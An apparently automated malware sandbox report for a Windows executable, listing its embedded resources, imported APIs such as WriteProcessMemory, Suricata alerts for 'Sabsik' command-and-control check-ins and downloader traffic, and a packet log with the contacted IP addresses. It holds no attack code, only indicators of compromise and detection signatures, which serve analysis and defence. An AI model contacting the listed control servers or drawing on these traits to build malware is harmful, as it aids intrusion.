PNG	0x1de9a4	0xcb7	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9182795698924732
PNG	0x1df65c	0x438	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.010185185185185
PNG	0x1dfa94	0x7af	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8566344687341129
PNG	0x1e0244	0x87f	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8726436781609196
PNG	0x1e0ac4	0xa53	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8974650018917897
PNG	0x1e1518	0xc5f	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9153773287022419
PNG	0x1e2178	0x796	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.005664263645726
PNG	0x1e2910	0xbee	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9119187950229207
PNG	0x1e3500	0xda8	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9236270022883295
PNG	0x1e42a8	0x114b	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9405918229049017
PNG	0x1e53f4	0x14d6	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9514435695538058
PNG	0x1e68cc	0x7fa	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8653281096963761
PNG	0x1e70c8	0x8e2	PNG image data, 62 x 62, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8768689533861038
PNG	0x1e79ac	0xa08	PNG image data, 75 x 75, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8921339563862928
PNG	0x1e83b4	0xc4f	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9139955569660425
PNG	0x1e9004	0xf37	PNG image data, 125 x 125, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9324775353016688
PNG	0x1e9f3c	0x325	PNG image data, 32 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.013664596273292
PNG	0x1ea264	0x472	PNG image data, 42 x 21, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0096660808435853
PNG	0x1ea6d8	0x55f	PNG image data, 52 x 26, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.008
PNG	0x1eac38	0x6ae	PNG image data, 63 x 31, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0064327485380118
PNG	0x1eb2e8	0x8f3	PNG image data, 84 x 42, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0048013967699694
PNG	0x1ebbdc	0x9ba	PNG image data, 37 x 47, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.004417670682731
PNG	0x1ec598	0x34d	PNG image data, 126 x 14, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.01301775147929
PNG	0x1ec8e8	0xa99	PNG image data, 157 x 17, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0040545521562845
PNG	0x1ed384	0xc30	PNG image data, 189 x 21, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.003525641025641
PNG	0x1edfb4	0xe60	PNG image data, 252 x 28, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0029891304347827
PNG	0x1eee14	0x1506	PNG image data, 315 x 35, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0020438498699369
PNG	0x1f031c	0xbbe	PNG image data, 37 x 47, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0036593479707252
RT_BITMAP	0x1f0edc	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.41392649903288203
RT_BITMAP	0x1f1f04	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.2161654135338346
RT_BITMAP	0x1f232c	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5018796992481203
RT_BITMAP	0x1f2754	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.3167293233082707
RT_BITMAP	0x1f2b7c	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.5548839458413927
RT_BITMAP	0x1f3ba4	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5582706766917294
RT_BITMAP	0x1f3fcc	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.48402255639097747
RT_BITMAP	0x1f43f4	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5469924812030075
RT_BITMAP	0x1f481c	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.4906015037593985
RT_BITMAP	0x1f4c44	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.3034332688588008
RT_BITMAP	0x1f5c6c	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.48872180451127817
RT_BITMAP	0x1f6094	0x6804	Device independent bitmap graphic, 391 x 17 x 32, image size 26588, resolution 3582 x 3582 px/m	English	Great Britain	0.2400105152471083
RT_BITMAP	0x1fc898	0x5c28	Device independent bitmap graphic, 368 x 16 x 32, image size 23552, resolution 3700 x 3700 px/m	English	Great Britain	0.2527975584944049
RT_BITMAP	0x2024c0	0x8fe8	Device independent bitmap graphic, 460 x 20 x 32, image size 36800, resolution 3503 x 3503 px/m	English	Great Britain	0.2719326818675353
RT_BITMAP	0x20b4a8	0xcf28	Device independent bitmap graphic, 552 x 24 x 32, image size 52992, resolution 3543 x 3543 px/m	English	Great Britain	0.23167144365666012
RT_BITMAP	0x2183d0	0x17028	Device independent bitmap graphic, 736 x 32 x 32, image size 94208, resolution 3543 x 3543 px/m	English	Great Britain	0.1775528393175452
RT_BITMAP	0x22f3f8	0x23f28	Device independent bitmap graphic, 920 x 40 x 32, image size 147200, resolution 3503 x 3503 px/m	English	Great Britain	0.14206058136375985
RT_BITMAP	0x253320	0x9ea4	Device independent bitmap graphic, 483 x 21 x 32, image size 40572, resolution 3582 x 3582 px/m	English	Great Britain	0.2606618733379297
RT_BITMAP	0x25d1c4	0xe0c4	Device independent bitmap graphic, 575 x 25 x 32, image size 57500, resolution 3503 x 3503 px/m	English	Great Britain	0.21746611053180395
RT_BITMAP	0x26b288	0x19f98	Device independent bitmap graphic, 782 x 34 x 32, image size 106352, resolution 3543 x 3543 px/m	English	Great Britain	0.16091435446274155
RT_BITMAP	0x285220	0x27a18	Device independent bitmap graphic, 966 x 42 x 32, image size 162288, resolution 3582 x 3582 px/m	English	Great Britain	0.13048272633187127
RT_BITMAP	0x2acc38	0x2028	Device independent bitmap graphic, 128 x 16 x 32, image size 8192, resolution 3700 x 3700 px/m	English	Great Britain	0.04652575315840622
RT_BITMAP	0x2aec60	0x3228	Device independent bitmap graphic, 160 x 20 x 32, image size 12800, resolution 3700 x 3700 px/m	English	Great Britain	0.07842679127725857
RT_BITMAP	0x2b1e88	0x4828	Device independent bitmap graphic, 192 x 24 x 32, image size 18432, resolution 3661 x 3661 px/m	English	Great Britain	0.056463837158943264
RT_BITMAP	0x2b66b0	0x8028	Device independent bitmap graphic, 256 x 32 x 32, image size 32768, resolution 3661 x 3661 px/m	English	Great Britain	0.0326749573274811
RT_BITMAP	0x2be6d8	0xc828	Device independent bitmap graphic, 320 x 40 x 32, image size 51200, resolution 3661 x 3661 px/m	English	Great Britain	0.03266978922716628
RT_BITMAP	0x2caf00	0xab8	Device independent bitmap graphic, 52 x 13 x 32, image size 2704, resolution 2795 x 2795 px/m	English	Great Britain	0.1271865889212828
RT_BITMAP	0x2cb9b8	0x1028	Device independent bitmap graphic, 64 x 16 x 32, image size 4096, resolution 3622 x 3622 px/m	English	Great Britain	0.1071083172147002
RT_BITMAP	0x2cc9e0	0x16b8	Device independent bitmap graphic, 76 x 19 x 32, image size 5776, resolution 3622 x 3622 px/m	English	Great Britain	0.10333562585969738
RT_BITMAP	0x2ce098	0x2a68	Device independent bitmap graphic, 104 x 26 x 32, image size 10816, resolution 3661 x 3661 px/m	English	Great Britain	0.05407148120854827
RT_BITMAP	0x2d0b00	0x4028	Device independent bitmap graphic, 128 x 32 x 32, image size 16384, resolution 3661 x 3661 px/m	English	Great Britain	0.0479176814417925
RT_BITMAP	0x2d4b28	0x2028	Device independent bitmap graphic, 16 x 128 x 32, image size 8192, resolution 2834 x 2834 px/m	English	Great Britain	0.22983479105928087
RT_BITMAP	0x2d6b50	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096, resolution 3780 x 3780 px/m	English	Canada	0.30947775628626695
RT_ICON	0x2d7b78	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	Chinese	China	0.32692535194605465
RT_MENU	0x2e83a0	0x5e	data	English	Great Britain	0.8617021276595744
RT_MENU	0x2e8400	0x13c	data	English	Great Britain	0.49683544303797467
RT_MENU	0x2e853c	0x8e	data	English	Great Britain	0.6971830985915493
RT_MENU	0x2e85cc	0x1aa	data	English	Great Britain	0.42018779342723006
RT_MENU	0x2e8778	0xda	data	English	Great Britain	0.6238532110091743
RT_MENU	0x2e8854	0x164	data	English	Great Britain	0.547752808988764
RT_MENU	0x2e89b8	0xbe	data	English	Great Britain	0.6368421052631579
RT_MENU	0x2e8a78	0xae	data	English	Great Britain	0.632183908045977
RT_MENU	0x2e8b28	0xb8	data	English	Great Britain	0.657608695652174
RT_DIALOG	0x2e8be0	0x530	data	English	Great Britain	0.42846385542168675
RT_DIALOG	0x2e9110	0x238	data	English	Great Britain	0.4982394366197183
RT_DIALOG	0x2e9348	0xe8	data	English	Great Britain	0.6508620689655172
RT_DIALOG	0x2e9430	0x1c8	data	English	Great Britain	0.5657894736842105
RT_DIALOG	0x2e95f8	0x1e0	data	English	Great Britain	0.49166666666666664
RT_DIALOG	0x2e97d8	0x1ac	data	English	Great Britain	0.5607476635514018
RT_DIALOG	0x2e9984	0x1cc	data	English	Great Britain	0.5
RT_DIALOG	0x2e9b50	0x1e4	data	English	Great Britain	0.5206611570247934
RT_DIALOG	0x2e9d34	0x33c	data	English	Great Britain	0.358695652173913
RT_DIALOG	0x2ea070	0x6b6	data	English	Great Britain	0.3911525029103609
RT_DIALOG	0x2ea728	0x1a4	data	English	Great Britain	0.5166666666666667
RT_DIALOG	0x2ea8cc	0x1ce	data	English	Great Britain	0.48268398268398266
RT_DIALOG	0x2eaa9c	0x4e4	data	English	Great Britain	0.40814696485623003
RT_DIALOG	0x2eaf80	0x57e	data	English	Great Britain	0.4139402560455192
RT_DIALOG	0x2eb500	0x54	data	English	Great Britain	0.8095238095238095
RT_DIALOG	0x2eb554	0xe0	data	English	Great Britain	0.6517857142857143
RT_DIALOG	0x2eb634	0x29a	data	English	Great Britain	0.47297297297297297
RT_DIALOG	0x2eb8d0	0xdc	data	English	Great Britain	0.6363636363636364
RT_DIALOG	0x2eb9ac	0x70	data	English	Great Britain	0.7857142857142857
RT_DIALOG	0x2eba1c	0x1ce	data	English	Great Britain	0.48484848484848486
RT_DIALOG	0x2ebbec	0x180	data	English	Great Britain	0.5755208333333334
RT_DIALOG	0x2ebd6c	0x230	data	English	Great Britain	0.4446428571428571
RT_DIALOG	0x2ebf9c	0xc4	data	English	Great Britain	0.7244897959183674
RT_DIALOG	0x2ec060	0x14c	data	English	Great Britain	0.5993975903614458
RT_DIALOG	0x2ec1ac	0x462	data	English	Great Britain	0.43137254901960786
RT_DIALOG	0x2ec610	0x468	data	English	Great Britain	0.43351063829787234
RT_DIALOG	0x2eca78	0x224	data	English	Great Britain	0.5091240875912408
RT_DIALOG	0x2ecc9c	0x286	data	English	Great Britain	0.5046439628482973
RT_DIALOG	0x2ecf24	0x1e8	data	English	Great Britain	0.5758196721311475
RT_DIALOG	0x2ed10c	0xc8	dBase III DBT, next free block index 4294901761	English	Great Britain	0.665
RT_DIALOG	0x2ed1d4	0x938	data	English	Great Britain	0.3771186440677966
RT_DIALOG	0x2edb0c	0x462	data	English	Great Britain	0.446524064171123
RT_DIALOG	0x2edf70	0x48a	data	English	Great Britain	0.3717728055077453
RT_DIALOG	0x2ee3fc	0x34	data	English	Great Britain	0.9038461538461539
RT_DIALOG	0x2ee430	0x336	data	English	Great Britain	0.38929440389294406
RT_DIALOG	0x2ee768	0x462	data	English	Great Britain	0.44563279857397503
RT_DIALOG	0x2eebcc	0xd6	dBase III DBT, next free block index 4294901761	English	Great Britain	0.7009345794392523
RT_DIALOG	0x2eeca4	0x37c	data	English	Great Britain	0.4461883408071749
RT_DIALOG	0x2ef020	0xd4	data	English	Great Britain	0.6037735849056604
RT_DIALOG	0x2ef0f4	0x2c8	data	English	Great Britain	0.44662921348314605
RT_DIALOG	0x2ef3bc	0x1a2	data	English	Great Britain	0.5239234449760766
RT_DIALOG	0x2ef560	0x186	data	English	Great Britain	0.5948717948717949
RT_DIALOG	0x2ef6e8	0x3b4	data	English	Great Britain	0.4588607594936709
RT_DIALOG	0x2efa9c	0x38a	data	English	Great Britain	0.45916114790286977
RT_DIALOG	0x2efe28	0x3c8	data	English	Great Britain	0.3894628099173554
RT_DIALOG	0x2f01f0	0x428	data	English	Great Britain	0.36654135338345867
RT_DIALOG	0x2f0618	0x92	data	English	Great Britain	0.6027397260273972
RT_DIALOG	0x2f06ac	0x39c	data	English	Great Britain	0.4090909090909091
RT_DIALOG	0x2f0a48	0x248	data	English	Great Britain	0.488013698630137
RT_DIALOG	0x2f0c90	0x51c	data	English	Great Britain	0.4258409785932722
RT_DIALOG	0x2f11ac	0x558	data	English	Great Britain	0.4159356725146199
RT_DIALOG	0x2f1704	0x4fe	data	English	Great Britain	0.4460093896713615
RT_DIALOG	0x2f1c04	0x544	data	English	Great Britain	0.41839762611275966
RT_DIALOG	0x2f2148	0x454	data	English	Great Britain	0.4575812274368231
RT_DIALOG	0x2f259c	0x144	data	English	Great Britain	0.6172839506172839
RT_DIALOG	0x2f26e0	0x514	data	English	Great Britain	0.4276923076923077
RT_DIALOG	0x2f2bf4	0x248	data	English	Great Britain	0.4674657534246575
RT_DIALOG	0x2f2e3c	0x1dc	data	English	Great Britain	0.5189075630252101
RT_DIALOG	0x2f3018	0xfc	data	English	Great Britain	0.6746031746031746
RT_DIALOG	0x2f3114	0x40	data	English	Great Britain	0.875
RT_DIALOG	0x2f3154	0x334	data	English	Great Britain	0.44390243902439025
RT_STRING	0x2f3488	0x2b4	data			0.47398843930635837
RT_STRING	0x2f373c	0xbe0	data			0.24243421052631578
RT_RCDATA	0x2f431c	0x10	data			1.5
RT_RCDATA	0x2f432c	0x3ac	data			0.7042553191489361
RT_RCDATA	0x2f46d8	0x140	Delphi compiled form 'TFormMain'			0.740625
RT_RCDATA	0x2f4818	0xb90	Delphi compiled form 'TMadExcept'			0.47297297297297297
RT_RCDATA	0x2f53a8	0x34e	Delphi compiled form 'TMEContactForm'			0.43498817966903075
RT_RCDATA	0x2f56f8	0x228	Delphi compiled form 'TMEDetailsForm'			0.5416666666666666
RT_RCDATA	0x2f5920	0x2a3	Delphi compiled form 'TMEScrShotForm'			0.5333333333333333
RT_RCDATA	0x2f5bc4	0x507	Delphi compiled form 'TNoticForm'			0.5003885003885004
RT_RCDATA	0x2f60cc	0x2c634	Delphi compiled form 'TScreenShotMainForm'			0.26612654830264226
RT_RCDATA	0x322700	0x20a2	Delphi compiled form 'TTipForm'			0.3003351687814221
RT_GROUP_ICON	0x3247a4	0x14	data	Chinese	China	1.15
RT_VERSION	0x3247b8	0x30c	data	English	United States	0.4564102564102564
RT_DLGINCLUDE	0x324ac4	0x7b836	PC bitmap, Windows 3.x format, 63720 x 2 x 43, image size 506370, cbSize 505910, bits offset 54			0.42614891976833824
RT_ANIICON	0x3a02fc	0xc657	PC bitmap, Windows 3.x format, 6558 x 2 x 36, image size 51339, cbSize 50775, bits offset 54			0.4406499261447563
RT_ANIICON	0x3ac954	0x8ef0	PC bitmap, Windows 3.x format, 5482 x 2 x 42, image size 37043, cbSize 36592, bits offset 54			0.39869370354175776
RT_ANIICON	0x3b5844	0xbf26	PC bitmap, Windows 3.x format, 6505 x 2 x 54, image size 49665, cbSize 48934, bits offset 54			0.34722278988024685
RT_ANIICON	0x3c176c	0x33400	PC bitmap, Windows 3.x format, 26476 x 2 x 52, image size 210721, cbSize 209920, bits offset 54			0.4880573551829268
RT_ANIICON	0x3f4b6c	0x2dede	PC bitmap, Windows 3.x format, 23700 x 2 x 52, image size 188837, cbSize 188126, bits offset 54			0.4889754738845242
RT_MANIFEST	0x422a4c	0x352	XML 1.0 document, ASCII text, with CRLF line terminators	Chinese	China	0.48

Imports

DLL	Import
gdi32.dll	TextOutW, StretchDIBits, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixelV, SetPixel, SetDIBitsToDevice, SetDIBits, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RoundRect, RestoreDC, ResizePalette, Rectangle, RectVisible, RealizePalette, Polyline, OffsetViewportOrgEx, MoveToEx, LineTo, IntersectClipRect, GetViewportOrgEx, GetTextMetricsW, GetTextExtentPoint32W, GetTextExtentExPointW, GetTextColor, GetTextAlign, GetStockObject, GetROP2, GetPixel, GetPaletteEntries, GetObjectType, GetObjectW, GetNearestPaletteIndex, GetDeviceCaps, GetDIBits, GetCurrentPositionEx, GetCurrentObject, GetClipBox, GetBkMode, GetBkColor, ExtTextOutW, ExcludeClipRect, Ellipse, DeleteObject, DeleteDC, CreateRoundRectRgn, CreateRectRgn, CreatePolygonRgn, CreatePenIndirect, CreatePen, CreatePalette, CreateHalftonePalette, CreateFontIndirectW, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CombineRgn, BitBlt
kernel32.dll	lstrcmpW, WriteProcessMemory, WritePrivateProfileStringW, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, UnmapViewOfFile, TerminateProcess, SystemTimeToFileTime, Sleep, ReadProcessMemory, QueryDosDeviceW, OutputDebugStringW, OpenProcess, MulDiv, MapViewOfFile, LocalFree, LocalAlloc, LoadLibraryW, LeaveCriticalSection, IsBadCodePtr, InitializeCriticalSection, HeapFree, HeapDestroy, HeapAlloc, GlobalUnlock, GlobalMemoryStatus, GlobalHandle, GlobalLock, GlobalGetAtomNameW, GlobalFree, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomW, GetWindowsDirectoryW, GetVersionExW, GetVersion, GetTickCount, GetTempPathW, GetSystemTime, GetSystemInfo, GetSystemDirectoryW, GetProcessTimes, GetProcAddress, GetPrivateProfileStringW, GetPriorityClass, GetModuleHandleW, GetModuleFileNameW, GetLogicalDriveStringsW, GetLastError, GetDriveTypeW, GetDiskFreeSpaceExW, GetCurrentThreadId, GetCurrentProcess, InterlockedIncrement, InterlockedExchangeAdd, InterlockedExchange, InterlockedDecrement, InterlockedCompareExchange, FreeLibrary, FlushInstructionCache, FileTimeToSystemTime, EnterCriticalSection, CreateMutexW, CreateFileMappingW, CreateFileW, CopyFileW, CloseHandle
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegFlushKey, RegCloseKey, OpenProcessToken, LookupPrivilegeValueW, GetUserNameW, AdjustTokenPrivileges
shell32.dll	SHGetFileInfoW, ExtractIconW
shell32.dll	SHGetSpecialFolderPathW, SHGetPathFromIDListW, SHBrowseForFolderW
ole32.dll	CoCreateInstance
comctl32.dll	_TrackMouseEvent, ImageList_GetIconSize, ImageList_Draw
Kernel32.dll	GetLongPathNameW
kernel32.dll	Sleep
ole32.dll	IsEqualGUID
comctl32.dll	ImageList_GetIconSize
user32.dll	PrivateExtractIconsW
kernel32.dll	VerSetConditionMask, VerifyVersionInfoW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	Canada
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-05T16:46:40.239620+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	49803	193.142.146.64	8880	TCP
2024-10-05T16:46:42.481091+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	49815	193.142.146.64	8880	TCP
2024-10-05T16:46:45.158427+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49833	34.117.59.81	80	TCP
2024-10-05T16:46:45.163501+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	49832	193.142.146.64	8880	TCP
2024-10-05T16:46:47.803365+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	49849	193.142.146.64	8880	TCP
2024-10-05T16:46:50.585727+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	49861	193.142.146.64	8880	TCP
2024-10-05T16:46:53.572280+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50328	193.142.146.64	8880	TCP
2024-10-05T16:46:56.384698+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50342	193.142.146.64	8880	TCP
2024-10-05T16:46:58.687896+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50363	193.142.146.64	8880	TCP
2024-10-05T16:47:01.498487+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50380	193.142.146.64	8880	TCP
2024-10-05T16:47:04.168605+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50397	193.142.146.64	8880	TCP
2024-10-05T16:47:06.815409+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50414	193.142.146.64	8880	TCP
2024-10-05T16:47:09.479387+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50431	193.142.146.64	8880	TCP
2024-10-05T16:47:09.528082+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50432	34.117.59.81	80	TCP
2024-10-05T16:47:13.121801+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50444	193.142.146.64	8880	TCP
2024-10-05T16:47:15.770445+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50449	193.142.146.64	8880	TCP
2024-10-05T16:47:15.809463+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50450	34.117.59.81	80	TCP
2024-10-05T16:47:18.441887+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50451	193.142.146.64	8880	TCP
2024-10-05T16:47:21.431202+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50453	193.142.146.64	8880	TCP
2024-10-05T16:47:21.481284+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50454	34.117.59.81	80	TCP
2024-10-05T16:47:24.141651+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50455	193.142.146.64	8880	TCP
2024-10-05T16:47:26.780755+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50457	193.142.146.64	8880	TCP
2024-10-05T16:47:30.387265+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50459	193.142.146.64	8880	TCP
2024-10-05T16:47:33.183372+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50461	193.142.146.64	8880	TCP
2024-10-05T16:47:35.647615+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50463	193.142.146.64	8880	TCP
2024-10-05T16:47:38.300123+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50465	193.142.146.64	8880	TCP
2024-10-05T16:47:40.935510+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50467	193.142.146.64	8880	TCP
2024-10-05T16:47:43.576008+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50469	193.142.146.64	8880	TCP
2024-10-05T16:47:46.208206+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50471	193.142.146.64	8880	TCP
2024-10-05T16:47:48.926986+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50474	34.117.59.81	80	TCP
2024-10-05T16:47:48.934070+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50473	193.142.146.64	8880	TCP
2024-10-05T16:47:51.581575+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50475	193.142.146.64	8880	TCP
2024-10-05T16:47:54.225238+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50477	193.142.146.64	8880	TCP
2024-10-05T16:47:57.019805+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50479	193.142.146.64	8880	TCP
2024-10-05T16:48:00.299639+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50482	34.117.59.81	80	TCP
2024-10-05T16:48:00.304354+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50481	193.142.146.64	8880	TCP
2024-10-05T16:48:02.197951+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50483	193.142.146.64	8880	TCP
2024-10-05T16:48:02.247009+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50484	34.117.59.81	80	TCP
2024-10-05T16:48:04.820098+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50486	34.117.59.81	80	TCP
2024-10-05T16:48:04.824904+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50485	193.142.146.64	8880	TCP
2024-10-05T16:48:07.476703+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50487	193.142.146.64	8880	TCP
2024-10-05T16:48:10.104002+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50489	193.142.146.64	8880	TCP
2024-10-05T16:48:12.680846+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50491	193.142.146.64	8880	TCP
2024-10-05T16:48:15.229115+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50493	193.142.146.64	8880	TCP
2024-10-05T16:48:15.325187+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50494	34.117.59.81	80	TCP
2024-10-05T16:48:17.736987+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50495	193.142.146.64	8880	TCP
2024-10-05T16:48:19.767983+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50498	34.117.59.81	80	TCP
2024-10-05T16:48:22.877229+0200	2037836	ET MALWARE Win32/Sabsik.TE.B!ml CnC Checkin	1	192.168.2.7	50499	193.142.146.64	8880	TCP
2024-10-05T16:48:22.918949+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50500	34.117.59.81	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 5, 2024 16:46:39.305139065 CEST	49803	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:39.310081005 CEST	8880	49803	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:39.310151100 CEST	49803	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:39.542460918 CEST	49804	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:39.547753096 CEST	80	49804	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:39.547869921 CEST	49804	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:39.548820972 CEST	49804	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:39.553684950 CEST	80	49804	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:40.215892076 CEST	80	49804	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:40.234298944 CEST	49803	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:40.239494085 CEST	80	49804	34.117.59.81	192.168.2.7
Oct 5, 2024 16:46:40.239526987 CEST	8880	49803	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:40.239577055 CEST	49804	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:46:40.239619970 CEST	49803	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:40.244527102 CEST	8880	49803	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:40.934097052 CEST	8880	49803	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:40.935946941 CEST	49803	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:40.946943998 CEST	49803	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:46:40.951766968 CEST	8880	49803	193.142.146.64	192.168.2.7
Oct 5, 2024 16:46:41.950321913 CEST	49815	8880	192.168.2.7	193.142.146.64
